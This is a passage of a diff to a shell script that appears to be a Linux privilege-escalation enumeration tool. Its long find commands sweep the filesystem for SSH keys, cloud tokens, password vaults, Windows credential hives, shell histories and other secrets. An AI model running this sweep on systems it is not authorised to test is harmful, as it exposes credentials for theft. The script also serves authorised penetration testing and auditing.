POSTGRESQL_RELEVANT_NAMES="pgadmin*.db pg_hba.conf postgresql.conf pgsql.conf" - APACHE_RELEVANT_NAMES="sites-enabled 000-default" - PHP_RELEVANT_NAMES="sess_* *config*.php database.php db.php storage.php" - WORDPRESS_RELEVANT_NAMES="wp-config.php" - DRUPAL_RELEVANT_NAMES="settings.php" - MOODLE_RELEVANT_NAMES="/config.php" - TOMCAT_RELEVANT_NAMES="tomcat-users.xml" - MONGO_RELEVANT_NAMES="mongod*.conf" - SUPERVISORD_RELEVANT_NAMES="supervisord.conf" - CESI_RELEVANT_NAMES="cesi.conf" - RSYNCD_RELEVANT_NAMES="rsyncd.conf rsyncd.secrets" - HOSTAPAD_RELEVANT_NAMES="hostapd.conf" - ANACONDA_KS_RELEVANT_NAMES="anaconda-ks.cfg" - VNC_RELEVANT_NAMES=".vnc" - LDAP_RELEVANT_NAMES="ldap" - OVPN_RELEVANT_NAMES="*.ovpn" - SSH_RELEVANT_NAMES="id_dsa* id_rsa* known_hosts authorized_hosts authorized_keys *.pem *.cer *.crt *.csr *.der *.pfx *.p12 agent* config vault-ssh-helper.hcl .vault-token" - CLOUD_KEYS_RELEVANT_NAMES="credentials credentials.db legacy_credentials.db access_tokens.db accessTokens.json azureProfile.json cloud.cfg" - KERBEROS_RELEVANT_NAMES="krb5.conf krb5.keytab .k5login kadm5.acl" - KIBANA_RELEVANT_NAMES="kibana.y*ml" - KNOCK_RELEVANT_NAMES="knockd" - LOGSTASH_RELEVANT_NAMES="logstash" - ELASTICSEARCH_RELEVANT_NAMES="elasticsearch.y*ml" - COUCHDB_RELEVANT_NAMES="couchdb" - REDIS_RELEVANT_NAMES="redis.conf" - MOSQUITTO_RELEVANT_NAMES="mosquitto.conf" - NEO4J_RELEVANT_NAMES="neo4j" - ERLANG_RELEVANT_NAMES=".erlang.cookie" - GVM_RELEVANT_NAMES="gvm-tools.conf" - IPSEC_RELEVANT_NAMES="ipsec.secrets ipsec.conf" - IRSSI_RELEVANT_NAMES=".irssi" - KEYRING_RELEVANT_NAMES="keyrings *.keyring *.keystore" - FILEZILLA_RELEVANT_NAMES="filezilla" - BACKUPMANAGER_RELEVANT_NAMES="storage.php database.php" - PASSWD_SPLUNK_RELEVANT_NAMES="passwd" - GITLAB_RELEVANT_NAMES="secrets.yml gitlab.yml gitlab.rb" - PGP_RELEVANT_NAMES="*.pgp *.gpg .gnupg" - VIM_RELEVANT_NAMES=".*.swp .viminfo" - DOCKER_RELEVANT_NAMES="docker.sock docker.socket Dockerfile docker-compose.yml" - FIREFOX_RELEVANT_NAMES=".mozilla" - CHROME_RELEVANT_NAMES="google-chrome" - AUTOLOGIN_RELEVANT_NAMES="autologin autologin.conf" - FASTCGI_RELEVANT_NAMES="fastcgi_params" - SNMP_RELEVANT_NAMES="snmpd.conf" - - DB_RELEVANT_NAMES="*.db *.sqlite *.sqlite3 *.sql" - INSTERESTING_RELEVANT_NAMES=".msmtprc .env .google_authenticator *_history .recently-used.xbel .lesshst .sudo_as_admin_successful .profile *bashrc *httpd.conf *.plan .htpasswd .gitconfig .git-credentials .git .svn *.rhost hosts.equiv .ldaprc" - PASSWORD_RELEVANT_NAMES="*password* *credential* creds*" - BACKUPS_DIRS_RELEVANT_NAMES="backup backups" + printf $GREEN"Caching directories "$NC - FIND_SYSTEMD_RELEVANT_NAMES=$(prep_to_find "$SYSTEMD_RELEVANT_NAMES") - FIND_TIMERS_RELEVANT_NAMES=$(prep_to_find "$TIMERS_RELEVANT_NAMES") - FIND_SOCKETS_RELEVANT_NAMES=$(prep_to_find "$SOCKETS_RELEVANT_NAMES") - FIND_DBUS_RELEVANT_NAMES=$(prep_to_find "$DBUS_RELEVANT_NAMES") - - FIND_MYSQL_RELEVANT_NAMES=$(prep_to_find "$MYSQL_RELEVANT_NAMES") - FIND_POSTGRESQL_RELEVANT_NAMES=$(prep_to_find "$POSTGRESQL_RELEVANT_NAMES") - FIND_APACHE_RELEVANT_NAMES=$(prep_to_find "$APACHE_RELEVANT_NAMES") - FIND_PHP_RELEVANT_NAMES=$(prep_to_find "$PHP_RELEVANT_NAMES") - FIND_WORDPRESS_RELEVANT_NAMES=$(prep_to_find "$WORDPRESS_RELEVANT_NAMES") - FIND_DRUPAL_RELEVANT_NAMES=$(prep_to_find "$DRUPAL_RELEVANT_NAMES") - FIND_MOODLE_RELEVANT_NAMES=$(prep_to_find "$MOODLE_RELEVANT_NAMES") - FIND_TOMCAT_RELEVANT_NAMES=$(prep_to_find "$TOMCAT_RELEVANT_NAMES") - FIND_MONGO_RELEVANT_NAMES=$(prep_to_find "$MONGO_RELEVANT_NAMES") - FIND_SUPERVISORD_RELEVANT_NAMES=$(prep_to_find "$SUPERVISORD_RELEVANT_NAMES") - FIND_CESI_RELEVANT_NAMES=$(prep_to_find "$CESI_RELEVANT_NAMES") - FIND_RSYNCD_RELEVANT_NAMES=$(prep_to_find "$RSYNCD_RELEVANT_NAMES") - FIND_HOSTAPAD_RELEVANT_NAMES=$(prep_to_find "$HOSTAPAD_RELEVANT_NAMES") - FIND_ANACONDA_KS_RELEVANT_NAMES=$(prep_to_find "$ANACONDA_KS_RELEVANT_NAMES") - FIND_VNC_RELEVANT_NAMES=$(prep_to_find "$VNC_RELEVANT_NAMES") - FIND_LDAP_RELEVANT_NAMES=$(prep_to_find "$LDAP_RELEVANT_NAMES") - FIND_OVPN_RELEVANT_NAMES=$(prep_to_find "$OVPN_RELEVANT_NAMES") - FIND_SSH_RELEVANT_NAMES=$(prep_to_find "$SSH_RELEVANT_NAMES") - FIND_CLOUD_KEYS_RELEVANT_NAMES=$(prep_to_find "$CLOUD_KEYS_RELEVANT_NAMES") - FIND_KERBEROS_RELEVANT_NAMES=$(prep_to_find "$KERBEROS_RELEVANT_NAMES") - FIND_KIBANA_RELEVANT_NAMES=$(prep_to_find "$KIBANA_RELEVANT_NAMES") - FIND_KNOCK_RELEVANT_NAMES=$(prep_to_find "$sK_RELEVANT_NAMES") - FIND_LOGSTASH_RELEVANT_NAMES=$(prep_to_find "$LOGSTASH_RELEVANT_NAMES") - FIND_ELASTICSEARCH_RELEVANT_NAMES=$(prep_to_find "$ELASTICSEARCH_RELEVANT_NAMES") - FIND_COUCHDB_RELEVANT_NAMES=$(prep_to_find "$COUCHDB_RELEVANT_NAMES") - FIND_REDIS_RELEVANT_NAMES=$(prep_to_find "$REDIS_RELEVANT_NAMES") - FIND_MOSQUITTO_RELEVANT_NAMES=$(prep_to_find "$MOSQUITTO_RELEVANT_NAMES") - FIND_NEO4J_RELEVANT_NAMES=$(prep_to_find "$NEO4J_RELEVANT_NAMES") - FIND_ERLANG_RELEVANT_NAMES=$(prep_to_find "$ERLANG_RELEVANT_NAMES") - FIND_GVM_RELEVANT_NAMES=$(prep_to_find "$GVM_RELEVANT_NAMES") - FIND_IPSEC_RELEVANT_NAMES=$(prep_to_find "$IPSEC_RELEVANT_NAMES") - FIND_IRSSI_RELEVANT_NAMES=$(prep_to_find "$IRSSI_RELEVANT_NAMES") - FIND_KEYRING_RELEVANT_NAMES=$(prep_to_find "$KEYRING_RELEVANT_NAMES") - FIND_FILEZILLA_RELEVANT_NAMES=$(prep_to_find "$FILEZILLA_RELEVANT_NAMES") - FIND_BACKUPMANAGER_RELEVANT_NAMES=$(prep_to_find "$BACKUPMANAGER_RELEVANT_NAMES") - FIND_PASSWD_SPLUNK_RELEVANT_NAMES=$(prep_to_find "$PASSWD_SPLUNK_RELEVANT_NAMES") - FIND_GITLAB_RELEVANT_NAMES=$(prep_to_find "$GITLAB_RELEVANT_NAMES") - FIND_PGP_RELEVANT_NAMES=$(prep_to_find "$PGP_RELEVANT_NAMES") - FIND_VIM_RELEVANT_NAMES=$(prep_to_find "$VIM_RELEVANT_NAMES") - FIND_DOCKER_RELEVANT_NAMES=$(prep_to_find "$DOCKER_RELEVANT_NAMES") - FIND_FIREFOX_RELEVANT_NAMES=$(prep_to_find "$FIREFOX_RELEVANT_NAMES") - FIND_CHROME_RELEVANT_NAMES=$(prep_to_find "$CHROME_RELEVANT_NAMES") - FIND_AUTOLOGIN_RELEVANT_NAMES=$(prep_to_find "$AUTOLOGIN_RELEVANT_NAMES") - FIND_FASTCGI_RELEVANT_NAMES=$(prep_to_find "$FASTCGI_RELEVANT_NAMES") - FIND_SNMP_RELEVANT_NAMES=$(prep_to_find "$SNMP_RELEVANT_NAMES") - - FIND_DB_RELEVANT_NAMES=$(prep_to_find "$DB_RELEVANT_NAMES") - FIND_INSTERESTING_RELEVANT_NAMES=$(prep_to_find "$INSTERESTING_RELEVANT_NAMES") - FIND_PASSWORD_RELEVANT_NAMES=$(prep_to_find "$PASSWORD_RELEVANT_NAMES") - FIND_BACKUPS_DIRS_RELEVANT_NAMES=$(prep_to_find "$BACKUPS_DIRS_RELEVANT_NAMES") - - #Get home + #Get home HOMESEARCH="/home/ /Users/ /root/ `cat /etc/passwd 2>/dev/null | grep "sh$" | cut -d ":" -f 6 | grep -Ev "^/root|^/home|^/Users" | tr "\n" " "`" if [ ! "`echo \"$HOMESEARCH\" | grep \"$HOME\"`" ] && [ ! "`echo \"$HOMESEARCH\" | grep -E \"^/root|^/home|^/Users\"`" ]; then #If not listed and not in /home, /Users/ or /root, add current home folder HOMESEARCH="$HOME $HOMESEARCH" fi + GREPHOMESEARCH=`echo "$HOMESEARCH" | sed 's/ *$//g' | tr " " "|"` #Remove ending spaces before putting "|" - # Directories CONT_THREADS=0 - FIND_DIR_VAR=`eval_bckgrd "find /var -type d $FIND_BACKUPS_DIRS_RELEVANT_NAMES -o $FIND_FILEZILLA_RELEVANT_NAMES -o $FIND_MYSQL_RELEVANT_NAMES -o $FIND_APACHE_RELEVANT_NAMES -o $FIND_LDAP_RELEVANT_NAMES -o $FIND_KERBEROS_RELEVANT_NAMES -o $FIND_LOGSTASH_RELEVANT_NAMES -o $FIND_COUCHDB_RELEVANT_NAMES -o $FIND_NEO4J_RELEVANT_NAMES -o $FIND_INSTERESTING_RELEVANT_NAMES -o $FIND_IRSSI_RELEVANT_NAMES -o $FIND_KEYRING_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_DIR_ETC=`eval_bckgrd "find /etc -type d $FIND_BACKUPS_DIRS_RELEVANT_NAMES -o $FIND_FILEZILLA_RELEVANT_NAMES -o $FIND_MYSQL_RELEVANT_NAMES -o $FIND_APACHE_RELEVANT_NAMES -o $FIND_LDAP_RELEVANT_NAMES -o $FIND_KERBEROS_RELEVANT_NAMES -o $FIND_LOGSTASH_RELEVANT_NAMES -o $FIND_COUCHDB_RELEVANT_NAMES -o $FIND_NEO4J_RELEVANT_NAMES -o $FIND_INSTERESTING_RELEVANT_NAMES -o $FIND_DBUS_RELEVANT_NAMES -o $FIND_IRSSI_RELEVANT_NAMES -o $FIND_KEYRING_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_DIR_HOME=`eval_bckgrd "find $HOMESEARCH -type d $FIND_CHROME_RELEVANT_NAMES -o $FIND_FIREFOX_RELEVANT_NAMES -o $FIND_BACKUPS_DIRS_RELEVANT_NAMES -o $FIND_FILEZILLA_RELEVANT_NAMES -o $FIND_APACHE_RELEVANT_NAMES -o $FIND_VNC_RELEVANT_NAMES -o $FIND_LDAP_RELEVANT_NAMES -o $FIND_KERBEROS_RELEVANT_NAMES -o $FIND_LOGSTASH_RELEVANT_NAMES -o $FIND_COUCHDB_RELEVANT_NAMES -o $FIND_NEO4J_RELEVANT_NAMES -o $FIND_INSTERESTING_RELEVANT_NAMES -o $FIND_IRSSI_RELEVANT_NAMES -o $FIND_KEYRING_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_DIR_TMP=`eval_bckgrd "find /tmp -type d $FIND_BACKUPS_DIRS_RELEVANT_NAMES -o $FIND_APACHE_RELEVANT_NAMES -o $FIND_LDAP_RELEVANT_NAMES -o $FIND_KERBEROS_RELEVANT_NAMES -o $FIND_LOGSTASH_RELEVANT_NAMES -o $FIND_COUCHDB_RELEVANT_NAMES -o $FIND_NEO4J_RELEVANT_NAMES -o $FIND_INSTERESTING_RELEVANT_NAMES -o $FIND_KEYRING_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_DIR_USR=`eval_bckgrd "find /usr -type d $FIND_BACKUPS_DIRS_RELEVANT_NAMES -o $FIND_MYSQL_RELEVANT_NAMES -o $FIND_APACHE_RELEVANT_NAMES -o $FIND_LDAP_RELEVANT_NAMES -o $FIND_KERBEROS_RELEVANT_NAMES -o $FIND_LOGSTASH_RELEVANT_NAMES -o $FIND_COUCHDB_RELEVANT_NAMES -o $FIND_NEO4J_RELEVANT_NAMES -o $FIND_INSTERESTING_RELEVANT_NAMES -o $FIND_IRSSI_RELEVANT_NAMES -o $FIND_KEYRING_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_DIR_OPT=`eval_bckgrd "find /opt -type d $FIND_BACKUPS_DIRS_RELEVANT_NAMES -o $FIND_FILEZILLA_RELEVANT_NAMES -o $FIND_APACHE_RELEVANT_NAMES -o $FIND_LDAP_RELEVANT_NAMES -o $FIND_KERBEROS_RELEVANT_NAMES -o $FIND_LOGSTASH_RELEVANT_NAMES -o $FIND_COUCHDB_RELEVANT_NAMES -o $FIND_NEO4J_RELEVANT_NAMES -o $FIND_INSTERESTING_RELEVANT_NAMES -o $FIND_IRSSI_RELEVANT_NAMES -o $FIND_KEYRING_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_DIR_MNT=`eval_bckgrd "find /mnt -type d $FIND_MYSQL_RELEVANT_NAMES -o $FIND_CHROME_RELEVANT_NAMES -o $FIND_FIREFOX_RELEVANT_NAMES -o $FIND_BACKUPS_DIRS_RELEVANT_NAMES -o $FIND_FILEZILLA_RELEVANT_NAMES -o $FIND_APACHE_RELEVANT_NAMES -o $FIND_VNC_RELEVANT_NAMES -o $FIND_LDAP_RELEVANT_NAMES -o $FIND_KERBEROS_RELEVANT_NAMES -o $FIND_LOGSTASH_RELEVANT_NAMES -o $FIND_COUCHDB_RELEVANT_NAMES -o $FIND_NEO4J_RELEVANT_NAMES -o $FIND_INSTERESTING_RELEVANT_NAMES -o $FIND_IRSSI_RELEVANT_NAMES -o $FIND_KEYRING_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` + # FIND ALL KNOWN INTERESTING SOFTWARE FILES + FIND_DIR_APPLICATIONS=`eval_bckgrd "find /applications -type d -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"filelliza\" -o -name \".svn\" -o -name \"bind\" -o -name \".cloudflared\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"sites-enabled\" -o -name \"neo4j\" -o -name \"ldap\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \".bluemix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_BIN=`eval_bckgrd "find /bin -type d -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"filelliza\" -o -name \".svn\" -o -name \"bind\" -o -name \".cloudflared\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"sites-enabled\" -o -name \"neo4j\" -o -name \"ldap\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \".bluemix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_CACHE=`eval_bckgrd "find /.cache -type d -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"filelliza\" -o -name \".svn\" -o -name \"bind\" -o -name \".cloudflared\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"sites-enabled\" -o -name \"neo4j\" -o -name \"ldap\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \".bluemix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_CDROM=`eval_bckgrd "find /cdrom -type d -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"filelliza\" -o -name \".svn\" -o -name \"bind\" -o -name \".cloudflared\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"sites-enabled\" -o -name \"neo4j\" -o -name \"ldap\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \".bluemix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_ETC=`eval_bckgrd "find /etc -type d -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"filelliza\" -o -name \".svn\" -o -name \"bind\" -o -name \".cloudflared\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"sites-enabled\" -o -name \"neo4j\" -o -name \"ldap\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \"system.d\" -o -name \".bluemix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -type d -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"filelliza\" -o -name \".svn\" -o -name \"bind\" -o -name \".cloudflared\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"sites-enabled\" -o -name \"neo4j\" -o -name \"ldap\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \".bluemix\" -o -name \".mozilla\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_MEDIA=`eval_bckgrd "find /media -type d -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"filelliza\" -o -name \".svn\" -o -name \"bind\" -o -name \".cloudflared\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"sites-enabled\" -o -name \"neo4j\" -o -name \"ldap\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \".bluemix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_MNT=`eval_bckgrd "find /mnt -type d -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"filelliza\" -o -name \".svn\" -o -name \"bind\" -o -name \".cloudflared\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"sites-enabled\" -o -name \"neo4j\" -o -name \"ldap\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \".bluemix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_OPT=`eval_bckgrd "find /opt -type d -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"filelliza\" -o -name \".svn\" -o -name \"bind\" -o -name \".cloudflared\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"sites-enabled\" -o -name \"neo4j\" -o -name \"ldap\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \".bluemix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_PRIVATE=`eval_bckgrd "find /private -type d -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"filelliza\" -o -name \".svn\" -o -name \"bind\" -o -name \".cloudflared\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"sites-enabled\" -o -name \"neo4j\" -o -name \"ldap\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \".bluemix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_SBIN=`eval_bckgrd "find /sbin -type d -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"filelliza\" -o -name \".svn\" -o -name \"bind\" -o -name \".cloudflared\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"sites-enabled\" -o -name \"neo4j\" -o -name \"ldap\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \".bluemix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_SNAP=`eval_bckgrd "find /snap -type d -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"filelliza\" -o -name \".svn\" -o -name \"bind\" -o -name \".cloudflared\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"sites-enabled\" -o -name \"neo4j\" -o -name \"ldap\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \".bluemix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_SRV=`eval_bckgrd "find /srv -type d -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"filelliza\" -o -name \".svn\" -o -name \"bind\" -o -name \".cloudflared\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"sites-enabled\" -o -name \"neo4j\" -o -name \"ldap\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \".bluemix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_TMP=`eval_bckgrd "find /tmp -type d -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"filelliza\" -o -name \".svn\" -o -name \"bind\" -o -name \".cloudflared\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"sites-enabled\" -o -name \"neo4j\" -o -name \"ldap\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \".bluemix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_USR=`eval_bckgrd "find /usr -type d -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"filelliza\" -o -name \".svn\" -o -name \"bind\" -o -name \".cloudflared\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"sites-enabled\" -o -name \"neo4j\" -o -name \"ldap\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \".bluemix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_VAR=`eval_bckgrd "find /var -type d -name \"seeddms*\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"filelliza\" -o -name \".svn\" -o -name \"bind\" -o -name \".cloudflared\" -o -name \"couchdb\" -o -name \".vnc\" -o -name \"sites-enabled\" -o -name \"neo4j\" -o -name \"ldap\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \".bluemix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_APPLICATIONS=`eval_bckgrd "find /applications -name \"unattended.xml\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"SAM\" -o -name \"passwd\" -o -name \"docker.sock\" -o -name \"security\" -o -name \"*.sqlite\" -o -name \"gvm-tools.conf\" -o -name \"*vnc*.txt\" -o -name \"unattend.inf\" -o -name \"security.sav\" -o -name \"*.kdbx\" -o -name \"config.php\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"*.cer\" -o -name \".git\" -o -name \"anaconda-ks.cfg\" -o -name \"sitemanager.xml\" -o -name \"*.gpg\" -o -name \"access_tokens.json\" -o -name \"*.db\" -o -name \"id_rsa*\" -o -name \"*.keystore\" -o -name \"postgresql.conf\" -o -name \"id_dsa*\" -o -name \"*.gnupg\" -o -name \"db.php\" -o -name \"tomcat-users.xml\" -o -name \"*.pgp\" -o -name \"access_tokens.db\" -o -name \"pagefile.sys\" -o -name \"credentials.db\" -o -name \"rsyncd.conf\" -o -name \"fastcgi_params\" -o -name \"https.conf\" -o -name \"*.sqlite3\" -o -name \"wp-config.php\" -o -name \"default.sav\" -o -name \"*.jks\" -o -name \".rhosts\" -o -name \"*vnc*.c*nf*\" -o -name \"*.rdg\" -o -name \"datasources.xml\" -o -name \"backups\" -o -name \"Dockerfile\" -o -name \"krb5.conf\" -o -name \"000-default\" -o -name \"filezilla.xml\" -o -name \"setupinfo\" -o -name \"*vnc*.ini\" -o -name \"web*.config\" -o -name \".lesshst\" -o -name \".sudo_as_admin_successful\" -o -name \"Ntds.dit\" -o -name \"mongod*.conf\" -o -name \"*.timer\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*vnc*.xml\" -o -name \".*_history\" -o -name \".pypirc\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"unattend.txt\" -o -name \"php.ini\" -o -name \".gitconfig\" -o -name \"autologin\" -o -name \"ws_ftp.ini\" -o -name \"recentservers.xml\" -o -name \"*.socket\" -o -name \"scclient.exe\" -o -name \"TokenCache.dat\" -o -name \"storage.php\" -o -name \"*credential*\" -o -name \"AppEvent.Evt\" -o -name \".msmtprc\" -o -name \"iis6.log\" -o -name \"secrets.yml\" -o -name \"system.sav\" -o -name \"software\" -o -name \"unattend.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"rsyncd.secrets\" -o -name \"RDCMan.settings\" -o -name \"software.sav\" -o -name \"kadm5.acl\" -o -name \"credentials\" -o -name \"wcx_ftp.ini\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.pem\" -o -name \"sysprep.xml\" -o -name \".bashrc\" -o -name \"*.key\" -o -name \"*.ovpn\" -o -name \"authorized_keys\" -o -name \"sites.ini\" -o -name \"docker.socket\" -o -name \"bash.exe\" -o -name \"NetSetup.log\" -o -name \"cloud.cfg\" -o -name \"mosquitto.conf\" -o -name \"KeePass.ini\" -o -name \"ftp.ini\" -o -name \".plan\" -o -name \"wsl.exe\" -o -name \"accessTokens.json\" -o -name \"appcmd.exe\" -o -name \"ftp.config\" -o -name \"printers.xml\" -o -name \"pgsql.conf\" -o -name \"autologin.conf\" -o -name \".htpasswd\" -o -name \"*.viminfo\" -o -name \"settings.php\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \"SecEvent.Evt\" -o -name \"sysprep.inf\" -o -name \".k5login\" -o -name \"*.ftpconfig\" -o -name \"pg_hba.conf\" -o -name \"krb5.keytab\" -o -name \"AzureRMContext.json\" -o -name \"https-xampp.conf\" -o -name \"hosts.equiv\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"services.xml\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".git-credentials\" -o -name \"*config*.php\" -o -name \"*.p12\" -o -name \".recently-used.xbel\" -o -name \".erlang.cookie\" -o -name \"authorized_hosts\" -o -name \"pgadmin*.db\" -o -name \"error.log\" -o -name \"ntuser.dat\" -o -name \"cesi.conf\" -o -name \"gitlab.yml\" -o -name \"supervisord.conf\" -o -name \"*.der\" -o -name \"redis.conf\" -o -name \"access.log\" -o -name \"snmpd.conf\" -o -name \"backup\" -o -name \"ddclient.conf\" -o -name \"docker-compose.yml\" -o -name \"scheduledtasks.xml\" -o -name \"winscp.ini\" -o -name \"*.pfx\" -o -name \"kibana.y*ml\" -o -name \"hostapd.conf\" -o -name \".google_authenticator\" -o -name \"index.dat\" -o -name \"creds*\" -o -name \"*password*\" -o -name \".env\" -o -name \".profile\" -o -name \".vault-token\" -o -name \".ldaprc\" -o -name \"groups.xml\" -o -name \"legacy_credentials.db\" -o -name \"*.crt\" -o -name \"drives.xml\" -o -name \"httpd.conf\" -o -name \".github\" -o -name \"KeePass.enforced*\" -o -name \"*.csr\" -o -name \"known_hosts\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \"ipsec.conf\" -o -name \"ffftp.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_BIN=`eval_bckgrd "find /bin -name \"unattended.xml\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"SAM\" -o -name \"passwd\" -o -name \"docker.sock\" -o -name \"security\" -o -name \"*.sqlite\" -o -name \"gvm-tools.conf\" -o -name \"*vnc*.txt\" -o -name \"unattend.inf\" -o -name \"security.sav\" -o -name \"*.kdbx\" -o -name \"config.php\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"*.cer\" -o -name \".git\" -o -name \"anaconda-ks.cfg\" -o -name \"sitemanager.xml\" -o -name \"*.gpg\" -o -name \"access_tokens.json\" -o -name \"*.db\" -o -name \"id_rsa*\" -o -name \"*.keystore\" -o -name \"postgresql.conf\" -o -name \"id_dsa*\" -o -name \"*.gnupg\" -o -name \"db.php\" -o -name \"tomcat-users.xml\" -o -name \"*.pgp\" -o -name \"access_tokens.db\" -o -name \"pagefile.sys\" -o -name \"credentials.db\" -o -name \"rsyncd.conf\" -o -name \"fastcgi_params\" -o -name \"https.conf\" -o -name \"*.sqlite3\" -o -name \"wp-config.php\" -o -name \"default.sav\" -o -name \"*.jks\" -o -name \".rhosts\" -o -name \"*vnc*.c*nf*\" -o -name \"*.rdg\" -o -name \"datasources.xml\" -o -name \"backups\" -o -name \"Dockerfile\" -o -name \"krb5.conf\" -o -name \"000-default\" -o -name \"filezilla.xml\" -o -name \"setupinfo\" -o -name \"*vnc*.ini\" -o -name \"web*.config\" -o -name \".lesshst\" -o -name \".sudo_as_admin_successful\" -o -name \"Ntds.dit\" -o -name \"mongod*.conf\" -o -name \"*.timer\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*vnc*.xml\" -o -name \".*_history\" -o -name \".pypirc\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"unattend.txt\" -o -name \"php.ini\" -o -name \".gitconfig\" -o -name \"autologin\" -o -name \"ws_ftp.ini\" -o -name \"recentservers.xml\" -o -name \"*.socket\" -o -name \"scclient.exe\" -o -name \"TokenCache.dat\" -o -name \"storage.php\" -o -name \"*credential*\" -o -name \"AppEvent.Evt\" -o -name \".msmtprc\" -o -name \"iis6.log\" -o -name \"secrets.yml\" -o -name \"system.sav\" -o -name \"software\" -o -name \"unattend.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"rsyncd.secrets\" -o -name 